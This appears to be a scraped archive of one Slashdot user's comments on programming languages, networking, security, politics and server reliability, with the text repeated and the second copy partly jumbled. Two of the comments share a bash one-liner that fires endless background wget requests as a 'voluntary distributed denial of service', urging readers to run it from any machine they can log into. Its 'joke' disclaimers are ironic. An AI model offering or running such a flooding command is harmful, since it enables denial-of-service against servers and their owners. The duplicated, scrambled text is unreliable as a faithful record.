OK, first of all... I *explicitly* sidestepped the argument about GOTOs.
That being said: lets take your goto/toaster analogy. That's crap. A better analogy would be comparing block constructs (loops, branches, subroutines) to toasters and comparing exposed 120V heating coils to GOTOs. I mean, sure loops are implemented using "GOTO"-like assembly instructions, but with a loop (or a whatever) you have certain guarantees and warantees on state consistency and the like. Do you toast your bread with a coil connected directly to wall outlet (without some pansy-ass "electric cord"... I mean, hell, that's what paper-clips and forks are for, right?)? Why use variables, anyway... just write to the registers!
Erg... I don't want to have this argument. I'm being trolled. Just walk away, just walk away...
It's impossible to write a complex program without using GOTOs
I call bullshit on you. There is <b>nothing</b> about fortran that makes GOTOs any more necessary than they are in C (which is an argument in and of itself... however I come down on the side of "never use them").
I taught two beginner's programming classes between 1995 to 1999, one in F77 and one in C (with the last week talking about C++). Apart from the lack of pointers and structures, F77 has (essentially) all of the language structure C (or any other procedural language) does. I never allowed my students to write GOTO statements, and it was never necessary (beyond the same caveats C programmers have when saying that). As a side note, we got significantly further in programming with the fortran groups than the C groups, despite the fact that the fortran class was taught to freshman chemial and mechanical engineers, and the C class was taught to electrical engineers (who, as demographic cross-section, had somewhat more of a bent towards programming to begin with).
It's true that C is made far more capable (and difficult to learn) because of pointers. It's also true that the lack of structures makes F77 a bit of a pain in the butt at times (but not in any way less capable). However, complex data structures are still <i>possible</i> in F77, if a pain in the ass. I've written binary search trees, recursive descent parse trees, and linked lists in vanilla F77 (no DEC extensions). Granted, the F77 idiom for doing this kind of stuff is really kind of sad. However, I could argue that there are similarly lots of things that C programmers do every day which are horribly fugly because they can't use the idioms of perl (for example).
Anyway, maybe it's pointless to argue because, in the end, I really... <b>really</b> wouldn't recommend anybody program with F77 any more.
It's more about DDoSing their web servers than their DNS servers. I'm *sure* that their DNS servers can handle the requests.
Also... IT'S A JOKE, FOR CRYING OUT LOUD!
An effective DDoS would not be written (poorly) in a single line of shell script that forked a bazillion times... I'd just write a (roughly) 20 line perl script to slam the bejeezus out of it, if that was what I wanted.
while true; do for i in 1 2 3 4 5 6 7 8 9 0; do wget -O/dev/null `head -c 30/dev/urandom | perl -pe 's/[^a-zA-Z]//ig'`.com >&/dev/null & done; echo -n . ; sleep 1; done
If you don't have wget, be creative. Substitute curl, maybe. Or mail. They're totally asking for it.
Of course, I'm not *actually* advocating a voluntary distributed denial of service attack against this unbelievable bullshit. That would be irresponsible. Shame on anyone for thinking of it.;-)
It's not my fault that the US invaded Iraq or has the DMCA and the PATRIOT act. I voted for the other guy.
Don't blame me: I voted for Kodos.
I mean, come on: you saw who the other guy was, didn't you? The sad thing was that because of both of our fscked up major parties, the only real choices both sucked ass. I mean, sure, we can look at how badly Bush has fucked things up, but that doesn't mean Gore wouldn't have fucked things up, too. He just would have done it in his own, different, fucked up idiom. I'm stealing a line here from some comedian (can't remember who) in regard to the 88' Democratic primary: "Being asked who would make a better president between these guys is like being asked 'Who would make a better cat? Lassy or Rin-Tin-Tin?'"
The real problem is that both major political parties are being run by the fucked up idiots in them... or at least being swayed too much by them. Sometimes I think I'd realy like to see a viable third party, something along the lines of the Bull Moose: socialy progressive, economicaly moderate-conservative, and foreign-policy-wise conservative (but without its head completely up its ass).
Well if you *really* want to be able to project said laser image an arbitrasry distance, than you'd want to incorporate some sort of adaptive optics to counteract the lensing affect of the air between your projector and the screen. Of course this would only matter if you were trying to project your image over a few miles... but, hey, this is slashdot. Somebody is bound to try it:-D
sftp is little more than an additional layer ontop of ssh (much like scp, which is also file transfer through an ssh tunnel). It still comunicates ith ssl to to an ssh daemon.
Since you need to have ssh set up, anyways, you could try tunneling rsync through ssh. Just "rsync -e ssh...", and, bang, there you go: it's like "rsync mode for sftp".
All told, though, I don't really know that this is the solution for safe file sharing, though. This is just a way to do file *transfer* well. At least as important a part of file sharing is being able to locate files. That's also where a lot of the danger to the file-sharer comes in: advertising which files he/she has to share.
Well, the way you get around man-in-the-mddle, in general, is with some form of pre-shared secrets. If you use asymetric keys for your pre-shared secrets, then the only thing you actually have to worry about is the safe, unmolested, broadcast of public-keys.
The last thing is that you can use a so-called "chain of trust" to safely broadcast public keys. All that you need is one public key on your computer that you absolutely trust, and then the holder of the matching private-key can "sign" other people's public keys (thus ensuring safe broadcast). This last is called a certificate authority (CA for short), and is the role that companies like verisign serve. You pay them to sign your public key, and then because I trust their key, I trust their signature, and I trust your public key. Now that I have your public key (and I know no one has messed with it in transit), and you have your private-key (and you know that no one else knows it), then we have a pre-shared secret, so we can't be man-in-the-middled.
That's the basic deal. The most interesting thing about it is that there needs to be at least one completely vulnerble transfer of information (receiving the public-key of the certificate authority), and this is usually done when your OS (or web browser) is being installed, presumably from a safe copy on a disk or some such... but if someone "man-in-the-middled" that original transfer of information (how do you man-in-the-middle a disk? well, swap the disks, maybe) then they've totally got your ass.
Yeah, I ordered mine online (via my local cable company) and it arrived completely dead. After an interesting hour and a half trying to convince their lovely level 1 tech that it was, in fact, broken, I had to go through a pain in the ass process to send it back. It took about two months for them to send me a new one. Fuckers.
Also, the service is not all that stellar. Considering how much you pay for the subscription service, which consists of nothing more than a channel-guide (oh, and annoying ass *extra* commercials, too... gotta love those), you'd think they could get the channel guide right. For crying out loud: I'm set to record new episodes of "Monk" which USA lovingly reruns 15 times a week. For some reason my channel guide lists every rerun of "Monk" as a new episode... so I've got to be vigilant about deleting them or else my tivo will fill up.
That and the nickel-and-dime bullshit about "home media option"... translation "if you want to access this networked computer with your other networked computers... pay up!"
Makes me sad sometimes that I was an early-adopter, seeing all the cool new DVRs coming down the pike.
We use Yahoo! IM a great deal. Also lots of email. Our development team is spread all around the country, with HQ in Boston, but several developers in New York, Texas, California, and (of course) India. Without such capabilities, life would really suck.
I work at a healthcare company, so we have to be pretty careful about security and privacy... but that just means that we use secure email for anything containing secuity or privacy information. IM still covers a lot of ground, though.
We've been looking into switching to an internal secure Jabber server, but we've been having a certain amount of technical difficulties actually getting it to work for everyone, and Y!IM is pretty well entrenched already.
Other technologies that we're starting to get great use out of for collberation are VNC and screen (a virtual terminal program for *n*x that allows terminal sharing) over SSH.
Yeah, well, it's a double-edged sword. I've refused to hire people in the past because they had simply gone along with stupid-assed ideas at their previous jobs. It seriously fails to impress me in an interview when someone tells me about his/her last project and it was just stupid, stupid, stupid....Regardless of the reason. I need people who can take sensible business understanding to technical problems, and I don't think I'm alone.
Don't get me wrong, I know it's a tough world out there and all, but when you are looking to hire the best talent, you have to take the whole person into consideration. The sort of person who is happy to a) do what he/she is told without thinking about it themselves, b) sit idly by while watching their company tank, or c) is unable to recognize the broader scope of technical issues... well, that person is not someone who I want to put that much faith in. I don't want to work with someone who is happy riding a sinking ship down to the waterline.
All that said, if you are looking for a career track that ends at "I can code" (without a healthy amount of "I can think" and "I understand your business"), then good luck. Move to India, if they'll have you, because that's where an increasing of that job market is headed these days. However, if you want to be the sort of programmer who can continue to reliably command a good job in the US or western Europe over the next decade, then look into developing and being able to communicate that business understanding.
Well, there are some assumptions that go into those statistics, certainly, and I did in fact state that one of the assumptions is that every machine in the system be up to constitute an up system. Look at my reply under the previous sybling comment (of the parent of this comment) for a discussion of a situation involving some level of failover (adding load-balancing to those statistics is not hard... you just say that a tier of the system is down (and thus the whole system) if at any point fewer machines in that tier are up than are necessary to process the through-put of that tier).
Also, I consider it a fitting comparison because we weren't talking about architecting a system with hot-standbies, we were talking about load-balancing. The posters question was about scalability, and not failover. If you have a system comprised of ten machines, each operating capacity, and one of the machines goes down, then you are operating above capacity. What that means is that you re building up a back-log of requests... and the backlog is ever-growing. In my world, a system which takes longer to process each request (without ever recovering) is essentially a system that has failed (or at least failed to properly do its job... which is to server requests in a timely manner).
Mostly, though, please understand that I am not trying to push the idea that single mega-machines are better than server farms... I'm just answering the question (and, I'm sorry, but I believe with some pretty rational arguments) of whether there is even any real consideration to be made in the making the choice.
For the record, I'm currently the lead technical architect of a system that *is* running on a server farm (all linux except two small suns (nfs servers... don't ask)). However, there is a balance to be struck. The system doesn't run on the most expensive machines available, but it also doesn't run on the cheapest systems available. Some of the machines (the database servers) are, in fact, larger, more expensive, more internally redundant machines. Again, if you look at my discussion under the previous sybling of the parent of this comment, you'll see why it makes sense to "stack" the databases more than the application machines (because failover of that tier is more difficult and expensive). However, we don't run "cheap desktops" in our server farm... we investigated that issue, and there really are just compelling reasons to go with low-end "servers" even for your completely throw-away machines. Also, these days, we're moving into blades. That is really just the extrapolation of the line of reasoning that brings you into cheap, rack-mount 1-U servers.
My system of about 50 (currently) machines, though, is somewhat outside the issue that the poster asked about. You could not buy my set-up for 20 grand. We started off with just four relatively inexpensive machines... but we did not buy 10 of the cheapest things we could find, that would have been insanity.
Well, if you read (and understood) the whole comment, I'm not talking about failover (which you are). Iwas talking about scaling. Also, I explicitly stated that you could use the same architecture to implement failover, if you include some extra pieces (like, your application has to be able to transparently fail over to another host... not typically possible without shelling out huge extra bucks if the application you are talking about is a database server, for example).
What I was talking about with the "more, cheaper = lower uptime" comment is the situation when you have N machines compising a "system", wherein any of the component machines failing constitutes a failure of the system. This is not in any way a rare scenario: imagine that you have (this is a fairly typical example) one machine running cgi (and by "cgi" I mean to include any kind of dynamically generated content, like ASP or whatever) processes, one machine running web serving (static, non-cgi) and maybe proxying the cgi box, and one machine running a database. Now if any of those three machines fails, then the overall system is down. Lets stick in some (hypothetical) sample numbers, just for shits and giggles:
Let's imagine that we could have three cheap machines, and each would have a 10% chance of failing over in, I don't know, a month let's say. The other option is a single more expensive machine, capable of performing the workload of all three, and with a chance of failure of 5% over the same period of time.
So the chance of failure for your total cheap system is:
one minus 90% (up-probablity, or one minus down-probability) cubed (multiplying each individual machine's chance of failure). Or, (1 - 73%) = 27%!!!
And the chance of failure for your expensive system is still only 5%.
WOW! That's a big difference! (But I did choose ridiculously large crash-probabilities to demonstrate the point more easily.)
Of course, you could do failover on the web content, which means that the system only fails if both of your web servers fail at the saim time. Likewise, with your cgi server (that is, of course, if it is not maintaining any kind of session-state locally. sadly, many "application server" packages do hold a lot of state in the cgi server, so failover can not be pulled off transparently). However, I'm gonna stick by my declaration that you are not going to get transparent failover in your database unless you step into an entirely different class (cost-wise, and scope-wise) of database system. So now, we're talking about a total "cheap" system failure probability of:
first, let's define p(web) and p(cgi) as the probability of BOTH cgi's or BOTH web's failing at the same time:
p(web) = p(cgi) = 10%^2 = 1%
so the overall probability of the cheap system being down is:
so your cheap system is still more than twice as likely to fail as your expensive system, AND you've had to buy additional machines, AND you've had to make sure that you can support failover in your cgi/application server, which doesn't actually come for free.
I'll save writing out the math, but EVEN IF your cheap machines were no less likely to fail than your expensive machine... you'd still end up with a more reliable system running on one machine than several (as long as there existed any machine within your system whose failure, alone (in this scenario, the database), constitutes a failure of the total system)!
Also, for anyone else reading, this reliability statistic is only one portion of the overall rationale for at least *considering* buying less pieces of more expensive hardware. Man, I should teach a class in this sh*t.
So true. The only thing more expensive than clueless newbs are clueless "cheap" overseas developers who actually give *negative* input, because it takes longer to rewrite their crap than it would have to write yourself in the first place.
There are actually lots of reasons. Not to say that in all cases you *should* go with a big server instead of a bunch of little weeny-boxen... but the point is that "bigger server" doesn't equal "bad". Here's a few reasons:
For one, there's reliability:
-first of all, the more expensive systems have more internal redundancy, which is a good thing (sucks to hamstring even a cheap $1000 machine because the $5 cpu-fan dies, let alone a $3000 middle-of-the line machine because a $50 power-supply dies... or the $5 fan inside the $50 power-supply).
-if p(c) is the probability of a cheap machine crashing, and p(e) is the probability of a single expensive machine (your entire system) crashing, and you require all N of your cheap computers to be running in order to consitute an "up" system... then your overall system crash probability (p*) is:
p*(c) = 1-(1-p(c))^N
vs.
p*(e) = p(e)
so, by buying more, cheaper servers, you're increasing your crash-likelihood, by both increasing p(c) and increasing N (unless you buy additional cheap servers to failover to... but then you have to manage and support failover which is additional $$$ as well in terms of buying/developing/implementing more advanced systems and taking on a higher administration overhead).
Not all systems are distributable, and those that are are often more complicated and/or expensive (but not always).
There's also administration cost:
-Obviously its easier to manage one box than 10 (or easier to manage 5 boxes than a hundred). Not to say that there aren't nice tools for mass-administration... but it is still more work, and anyone who says different is selling something (and something you want to think twice about before buying).
There's ancillary costs:
-hey! if you have ten boxes talking to each other to comprise one "system", then you need a network connecting them! That's another fast switch... and again, because you don't want to lose an expensive "system" because of a failure of one cheap part, you need to buy an expensive switch.
-power costs money, believe it or not.
-so does rack-space.
-so do IPs... unless you're gonna NAT your little cluster, in which case you need to set up a NATing router for them... and that's another single point of failure unless you wanna shell out $$$ of one form another (again: buy/develop/implement).
-you're probably gonna need some sort of KVM switch.
I could go on, but I don't want to. Anyway, the point is that it is more complicated than many of the lot in this particular audience are likely to make out. It is often still the best route (and increasingly so!), but you can't just say that the answer is *always* to buy more, cheaper machines. There are many things to consider.
Also, how seriously are we supposed to consider an article about the future of web technologies when the guy can't (sic) even figure out how to properly escape his apostrohpes.
I mean really!
No, joking aside, its remarkable the extent to which this is all just unmitigated editorializing without the slightest good reasoning to back it up. Not to mention that I pretty strongly disagree with the notion that "RPC is bad". If anything, I'd actually go as far as to say that I think that SOAP is far too often overkill. If XML-RPC gets the job done, then why resort to all that heavy, unmanageable garbage?
No, as the user mentioned, SSL (including HTTPS) and SSH aren't going to be spoofed (at least not transparently) because of the server key fingerprint, or certificate. These methods make "man in the middle" attacks detectable, and by default won't allow man-in-the-middled connections.
QGP "complete speculation" in 2000?!?!? I was learning about it in courses in 1999, where it was discussed as all but fact. I mean, just because something has yet to be detected doesn't mean that the scientific comunity doesn't accept its probable eventuality. There's nothing in the theory that seems outlandish, apart from the incredibly high energy you need to produce it, and the difficulty in detecting something so new and short-lived.
Re:Liberals and Conservatives
on
A Mighty Wind
·
· Score: 1
Well, the world is full of hypocrites, yes. I think that the original poster (although grossly inflamatory) was sort of on target, though, about the absurd hypocricy that seems to plague the liberal-rich. Look at how popular enormous SUVs are among the loud-mouthedly liberal Hollywood types, for example. Truth is, it's kind of obvious that being liberal and being rich sort of don't mesh particularly well, though.
Liberals and Conservatives
on
A Mighty Wind
·
· Score: 1
Exactly! That's why it's so damn frustrating to have the world of politics forcibly coerced onto this assinine 1 dimensional spectrum, with liberalness at one end and conservativism at the other. There are so many different, orthogonal dimensions of political opinion. Most Americans tend to be "conservative" about one thing and "liberal" about another... we end up (largely) having to align ourselves along that axis by primarily whichever aspect we consider the most fundamental. Economics, personal rights, scale of government power, foreign policy, public works, entitlements? It's as much an issue of which of these (or other) axes you consider defines your *overall* political alignment, as it is a question of how you feel on any particular issue.
Ah... interesting stuff, similar in a lot of ways, but not exactly what I meant (I was very brief). This sort of thing is interesting when thinking about the poster's hypothetical end-state ubiquitous wireless network. There's a lot of focus in that protocol on router discovery and so on. Good for a situation in which many people are using a common medium (the airwaves) and looking for other routers on that shared medium.
What I was getting at was more the question of constructing best routing tables a situation like this: Imagine several (hobbiest) households which each have their own broadband internet access, a router, and some number of point-to-point wireless links (802.11 pringles cans, let say... or maybe 802.16 later on) interconnecting one another. Each of these folks has potentially different network providers... so it is conceivable that the best path from any one of these nodes to any particular site on the net is via its own broadband uplink, or perhaps via his neighbor's, or perhaps his neighbor's neighbor's.
In essence, it's a genuine mesh network, interleaved with another general network (actually a hierarchical network)... but all of the modern routing protocols currently in use, like BGP, OSPF, and IGRP are based on hierarchical network topologies. It's the combination of a mesh network and the additional "real internet" network bolted onto it in different places which is a fairly new problem space (to the best of my understanding).
Anyway, I should read more on this RSPF, in case I missed the point skimming over it.
I always thought that was weird. Modems are so slow because they have to use the crappy phone lines, but ADSL is fast because it uses the same crappy phone lines? Ok
ADSL doesn't use just any phone lines. I think that less than half of the houses in the US are wired with high enough quality lines to support DSL. Also, the drop-off of bandwidth as a function of distance from the phone company's substation is pretty rapid. If you live in even a fairly spread-out suburb, chances are you can get crap DSL at best, let alone semi-rural or full-blown rural areas. Oh, and when I say "phone lines" I don't just mean the twisted pair running into your wall (although the physical wire quality is part of it), I'm talking about the various switching hardware upstream, too. Do you think that Podunkville doesn't have DSL available yet just because the phone companies are jerks? No, it's because it's an expensive investment for them to upgrade their "lines" to provide DSL.
So, no, ADSL doesn't use "the same crappy phone lines"... it uses different, not-as-crappy phone lines.
Also I put "broadband" in quotes because it's not entirely a very well defined term. (Yes, I know that there have been a few things attempting to define the term in various places... even a lawsuit over the use of the term, but it's not settled yet.) You can call pretty much anything from 128k up "broadband", but its really not in the same ballpark as 512k or 1M (or possible higher, with various new technologies like 802.16 MAN).
Besides, all that said, I consider your ADSL (via phone lines) slow because I have a cable modem.:-D
Well, there are limits to the capability of compression, and the phone lines are, ultimately, just not as good as "broadband" last mile solutions.
Also, there's more to life than searching the web. I, for one, do a lot of work from home, and although a cable modem is decent, it sure would be easier to work remotely with higher-speed, lower-latency connectivity. More people could run their own web/ftp/whatever servers out of their homes.
So, yeah, it does meen making use of the existing (paid for) network first. How does that work? Well, first of all, everyone with a wireless link starts routing to all there peers (or at least, the early adopters build pringes can links to other early adopters), and shares their uplinks (free of charge).
The thing standing in the way of that happening (I've put a lot of thought into this already, myself) is the lack of a suitable dynamic routing protocol for these routers... how do you get these wireless mesh nodes with uplinks to the *real* internet to properly route and make good use of those uplinks? Currently no dynamic routing protocol is designed for such a task.
Slashdot Mirror
OK, first of all... I *explicitly* sidestepped the argument about GOTOs.
That being said: lets take your goto/toaster analogy. That's crap. A better analogy would be comparing block constructs (loops, branches, subroutines) to toasters and comparing exposed 120V heating coils to GOTOs. I mean, sure loops are implemented using "GOTO"-like assembly instructions, but with a loop (or a whatever) you have certain guarantees and warantees on state consistency and the like. Do you toast your bread with a coil connected directly to wall outlet (without some pansy-ass "electric cord"... I mean, hell, that's what paper-clips and forks are for, right?)? Why use variables, anyway... just write to the registers!
Erg... I don't want to have this argument. I'm being trolled. Just walk away, just walk away...
Well, be careful who you're calling old. C is older than F77 (although earlier versions of fortran are far older).
It's impossible to write a complex program without using GOTOs
I call bullshit on you. There is <b>nothing</b> about fortran that makes GOTOs any more necessary than they are in C (which is an argument in and of itself... however I come down on the side of "never use them").
I taught two beginner's programming classes between 1995 to 1999, one in F77 and one in C (with the last week talking about C++). Apart from the lack of pointers and structures, F77 has (essentially) all of the language structure C (or any other procedural language) does. I never allowed my students to write GOTO statements, and it was never necessary (beyond the same caveats C programmers have when saying that). As a side note, we got significantly further in programming with the fortran groups than the C groups, despite the fact that the fortran class was taught to freshman chemial and mechanical engineers, and the C class was taught to electrical engineers (who, as demographic cross-section, had somewhat more of a bent towards programming to begin with).
It's true that C is made far more capable (and difficult to learn) because of pointers. It's also true that the lack of structures makes F77 a bit of a pain in the butt at times (but not in any way less capable). However, complex data structures are still <i>possible</i> in F77, if a pain in the ass. I've written binary search trees, recursive descent parse trees, and linked lists in vanilla F77 (no DEC extensions). Granted, the F77 idiom for doing this kind of stuff is really kind of sad. However, I could argue that there are similarly lots of things that C programmers do every day which are horribly fugly because they can't use the idioms of perl (for example).
Anyway, maybe it's pointless to argue because, in the end, I really... <b>really</b> wouldn't recommend anybody program with F77 any more.
It's more about DDoSing their web servers than their DNS servers. I'm *sure* that their DNS servers can handle the requests.
Also... IT'S A JOKE, FOR CRYING OUT LOUD!
An effective DDoS would not be written (poorly) in a single line of shell script that forked a bazillion times... I'd just write a (roughly) 20 line perl script to slam the bejeezus out of it, if that was what I wanted.
You didn't hear it from me, but...
/dev/null `head -c 30 /dev/urandom | perl -pe 's/[^a-zA-Z]//ig'`.com >& /dev/null & done; echo -n . ; sleep 1; done
;-)
Go to any machine you have a login on and:
while true; do for i in 1 2 3 4 5 6 7 8 9 0; do wget -O
If you don't have wget, be creative. Substitute curl, maybe. Or mail. They're totally asking for it.
Of course, I'm not *actually* advocating a voluntary distributed denial of service attack against this unbelievable bullshit. That would be irresponsible. Shame on anyone for thinking of it.
It's not my fault that the US invaded Iraq or has the DMCA and the PATRIOT act. I voted for the other guy.
Don't blame me: I voted for Kodos.
I mean, come on: you saw who the other guy was, didn't you? The sad thing was that because of both of our fscked up major parties, the only real choices both sucked ass. I mean, sure, we can look at how badly Bush has fucked things up, but that doesn't mean Gore wouldn't have fucked things up, too. He just would have done it in his own, different, fucked up idiom. I'm stealing a line here from some comedian (can't remember who) in regard to the 88' Democratic primary: "Being asked who would make a better president between these guys is like being asked 'Who would make a better cat? Lassy or Rin-Tin-Tin?'"
The real problem is that both major political parties are being run by the fucked up idiots in them... or at least being swayed too much by them. Sometimes I think I'd realy like to see a viable third party, something along the lines of the Bull Moose: socialy progressive, economicaly moderate-conservative, and foreign-policy-wise conservative (but without its head completely up its ass).
Well if you *really* want to be able to project said laser image an arbitrasry distance, than you'd want to incorporate some sort of adaptive optics to counteract the lensing affect of the air between your projector and the screen. Of course this would only matter if you were trying to project your image over a few miles... but, hey, this is slashdot. Somebody is bound to try it :-D
sftp is little more than an additional layer ontop of ssh (much like scp, which is also file transfer through an ssh tunnel). It still comunicates ith ssl to to an ssh daemon.
...", and, bang, there you go: it's like "rsync mode for sftp".
Since you need to have ssh set up, anyways, you could try tunneling rsync through ssh. Just "rsync -e ssh
All told, though, I don't really know that this is the solution for safe file sharing, though. This is just a way to do file *transfer* well. At least as important a part of file sharing is being able to locate files. That's also where a lot of the danger to the file-sharer comes in: advertising which files he/she has to share.
Well, the way you get around man-in-the-mddle, in general, is with some form of pre-shared secrets. If you use asymetric keys for your pre-shared secrets, then the only thing you actually have to worry about is the safe, unmolested, broadcast of public-keys.
The last thing is that you can use a so-called "chain of trust" to safely broadcast public keys. All that you need is one public key on your computer that you absolutely trust, and then the holder of the matching private-key can "sign" other people's public keys (thus ensuring safe broadcast). This last is called a certificate authority (CA for short), and is the role that companies like verisign serve. You pay them to sign your public key, and then because I trust their key, I trust their signature, and I trust your public key. Now that I have your public key (and I know no one has messed with it in transit), and you have your private-key (and you know that no one else knows it), then we have a pre-shared secret, so we can't be man-in-the-middled.
That's the basic deal. The most interesting thing about it is that there needs to be at least one completely vulnerble transfer of information (receiving the public-key of the certificate authority), and this is usually done when your OS (or web browser) is being installed, presumably from a safe copy on a disk or some such... but if someone "man-in-the-middled" that original transfer of information (how do you man-in-the-middle a disk? well, swap the disks, maybe) then they've totally got your ass.
Yeah, I ordered mine online (via my local cable company) and it arrived completely dead. After an interesting hour and a half trying to convince their lovely level 1 tech that it was, in fact, broken, I had to go through a pain in the ass process to send it back. It took about two months for them to send me a new one. Fuckers.
Also, the service is not all that stellar. Considering how much you pay for the subscription service, which consists of nothing more than a channel-guide (oh, and annoying ass *extra* commercials, too... gotta love those), you'd think they could get the channel guide right. For crying out loud: I'm set to record new episodes of "Monk" which USA lovingly reruns 15 times a week. For some reason my channel guide lists every rerun of "Monk" as a new episode... so I've got to be vigilant about deleting them or else my tivo will fill up.
That and the nickel-and-dime bullshit about "home media option"... translation "if you want to access this networked computer with your other networked computers... pay up!"
Makes me sad sometimes that I was an early-adopter, seeing all the cool new DVRs coming down the pike.
We use Yahoo! IM a great deal. Also lots of email. Our development team is spread all around the country, with HQ in Boston, but several developers in New York, Texas, California, and (of course) India. Without such capabilities, life would really suck.
I work at a healthcare company, so we have to be pretty careful about security and privacy... but that just means that we use secure email for anything containing secuity or privacy information. IM still covers a lot of ground, though.
We've been looking into switching to an internal secure Jabber server, but we've been having a certain amount of technical difficulties actually getting it to work for everyone, and Y!IM is pretty well entrenched already.
Other technologies that we're starting to get great use out of for collberation are VNC and screen (a virtual terminal program for *n*x that allows terminal sharing) over SSH.
Hope that helps.
Yeah, well, it's a double-edged sword. I've refused to hire people in the past because they had simply gone along with stupid-assed ideas at their previous jobs. It seriously fails to impress me in an interview when someone tells me about his/her last project and it was just stupid, stupid, stupid. ...Regardless of the reason. I need people who can take sensible business understanding to technical problems, and I don't think I'm alone.
Don't get me wrong, I know it's a tough world out there and all, but when you are looking to hire the best talent, you have to take the whole person into consideration. The sort of person who is happy to a) do what he/she is told without thinking about it themselves, b) sit idly by while watching their company tank, or c) is unable to recognize the broader scope of technical issues... well, that person is not someone who I want to put that much faith in. I don't want to work with someone who is happy riding a sinking ship down to the waterline.
All that said, if you are looking for a career track that ends at "I can code" (without a healthy amount of "I can think" and "I understand your business"), then good luck. Move to India, if they'll have you, because that's where an increasing of that job market is headed these days. However, if you want to be the sort of programmer who can continue to reliably command a good job in the US or western Europe over the next decade, then look into developing and being able to communicate that business understanding.
Well, there are some assumptions that go into those statistics, certainly, and I did in fact state that one of the assumptions is that every machine in the system be up to constitute an up system. Look at my reply under the previous sybling comment (of the parent of this comment) for a discussion of a situation involving some level of failover (adding load-balancing to those statistics is not hard... you just say that a tier of the system is down (and thus the whole system) if at any point fewer machines in that tier are up than are necessary to process the through-put of that tier).
Also, I consider it a fitting comparison because we weren't talking about architecting a system with hot-standbies, we were talking about load-balancing. The posters question was about scalability, and not failover. If you have a system comprised of ten machines, each operating capacity, and one of the machines goes down, then you are operating above capacity. What that means is that you re building up a back-log of requests... and the backlog is ever-growing. In my world, a system which takes longer to process each request (without ever recovering) is essentially a system that has failed (or at least failed to properly do its job... which is to server requests in a timely manner).
Mostly, though, please understand that I am not trying to push the idea that single mega-machines are better than server farms... I'm just answering the question (and, I'm sorry, but I believe with some pretty rational arguments) of whether there is even any real consideration to be made in the making the choice.
For the record, I'm currently the lead technical architect of a system that *is* running on a server farm (all linux except two small suns (nfs servers... don't ask)). However, there is a balance to be struck. The system doesn't run on the most expensive machines available, but it also doesn't run on the cheapest systems available. Some of the machines (the database servers) are, in fact, larger, more expensive, more internally redundant machines. Again, if you look at my discussion under the previous sybling of the parent of this comment, you'll see why it makes sense to "stack" the databases more than the application machines (because failover of that tier is more difficult and expensive). However, we don't run "cheap desktops" in our server farm... we investigated that issue, and there really are just compelling reasons to go with low-end "servers" even for your completely throw-away machines. Also, these days, we're moving into blades. That is really just the extrapolation of the line of reasoning that brings you into cheap, rack-mount 1-U servers.
My system of about 50 (currently) machines, though, is somewhat outside the issue that the poster asked about. You could not buy my set-up for 20 grand. We started off with just four relatively inexpensive machines... but we did not buy 10 of the cheapest things we could find, that would have been insanity.
Well, if you read (and understood) the whole comment, I'm not talking about failover (which you are). Iwas talking about scaling. Also, I explicitly stated that you could use the same architecture to implement failover, if you include some extra pieces (like, your application has to be able to transparently fail over to another host... not typically possible without shelling out huge extra bucks if the application you are talking about is a database server, for example).
What I was talking about with the "more, cheaper = lower uptime" comment is the situation when you have N machines compising a "system", wherein any of the component machines failing constitutes a failure of the system. This is not in any way a rare scenario: imagine that you have (this is a fairly typical example) one machine running cgi (and by "cgi" I mean to include any kind of dynamically generated content, like ASP or whatever) processes, one machine running web serving (static, non-cgi) and maybe proxying the cgi box, and one machine running a database. Now if any of those three machines fails, then the overall system is down. Lets stick in some (hypothetical) sample numbers, just for shits and giggles:
Let's imagine that we could have three cheap machines, and each would have a 10% chance of failing over in, I don't know, a month let's say. The other option is a single more expensive machine, capable of performing the workload of all three, and with a chance of failure of 5% over the same period of time.
So the chance of failure for your total cheap system is:
one minus 90% (up-probablity, or one minus down-probability) cubed (multiplying each individual machine's chance of failure). Or, (1 - 73%) = 27%!!!
And the chance of failure for your expensive system is still only 5%.
WOW! That's a big difference! (But I did choose ridiculously large crash-probabilities to demonstrate the point more easily.)
Of course, you could do failover on the web content, which means that the system only fails if both of your web servers fail at the saim time. Likewise, with your cgi server (that is, of course, if it is not maintaining any kind of session-state locally. sadly, many "application server" packages do hold a lot of state in the cgi server, so failover can not be pulled off transparently). However, I'm gonna stick by my declaration that you are not going to get transparent failover in your database unless you step into an entirely different class (cost-wise, and scope-wise) of database system. So now, we're talking about a total "cheap" system failure probability of:
first, let's define p(web) and p(cgi) as the probability of BOTH cgi's or BOTH web's failing at the same time:
p(web) = p(cgi) = 10%^2 = 1%
so the overall probability of the cheap system being down is:
p(cheap) = 1 - (1-p(web))*(1-p(cgi))*(1-p(db)) = 1 - (99% * 99% * 90%) = 12%
so your cheap system is still more than twice as likely to fail as your expensive system, AND you've had to buy additional machines, AND you've had to make sure that you can support failover in your cgi/application server, which doesn't actually come for free.
I'll save writing out the math, but EVEN IF your cheap machines were no less likely to fail than your expensive machine... you'd still end up with a more reliable system running on one machine than several (as long as there existed any machine within your system whose failure, alone (in this scenario, the database), constitutes a failure of the total system)!
Also, for anyone else reading, this reliability statistic is only one portion of the overall rationale for at least *considering* buying less pieces of more expensive hardware. Man, I should teach a class in this sh*t.
So true. The only thing more expensive than clueless newbs are clueless "cheap" overseas developers who actually give *negative* input, because it takes longer to rewrite their crap than it would have to write yourself in the first place.
There are actually lots of reasons. Not to say that in all cases you *should* go with a big server instead of a bunch of little weeny-boxen... but the point is that "bigger server" doesn't equal "bad". Here's a few reasons:
For one, there's reliability:
-first of all, the more expensive systems have more internal redundancy, which is a good thing (sucks to hamstring even a cheap $1000 machine because the $5 cpu-fan dies, let alone a $3000 middle-of-the line machine because a $50 power-supply dies... or the $5 fan inside the $50 power-supply).
-if p(c) is the probability of a cheap machine crashing, and p(e) is the probability of a single expensive machine (your entire system) crashing, and you require all N of your cheap computers to be running in order to consitute an "up" system... then your overall system crash probability (p*) is:
p*(c) = 1-(1-p(c))^N
vs.
p*(e) = p(e)
so, by buying more, cheaper servers, you're increasing your crash-likelihood, by both increasing p(c) and increasing N (unless you buy additional cheap servers to failover to... but then you have to manage and support failover which is additional $$$ as well in terms of buying/developing/implementing more advanced systems and taking on a higher administration overhead).
Not all systems are distributable, and those that are are often more complicated and/or expensive (but not always).
There's also administration cost:
-Obviously its easier to manage one box than 10 (or easier to manage 5 boxes than a hundred). Not to say that there aren't nice tools for mass-administration... but it is still more work, and anyone who says different is selling something (and something you want to think twice about before buying).
There's ancillary costs:
-hey! if you have ten boxes talking to each other to comprise one "system", then you need a network connecting them! That's another fast switch... and again, because you don't want to lose an expensive "system" because of a failure of one cheap part, you need to buy an expensive switch.
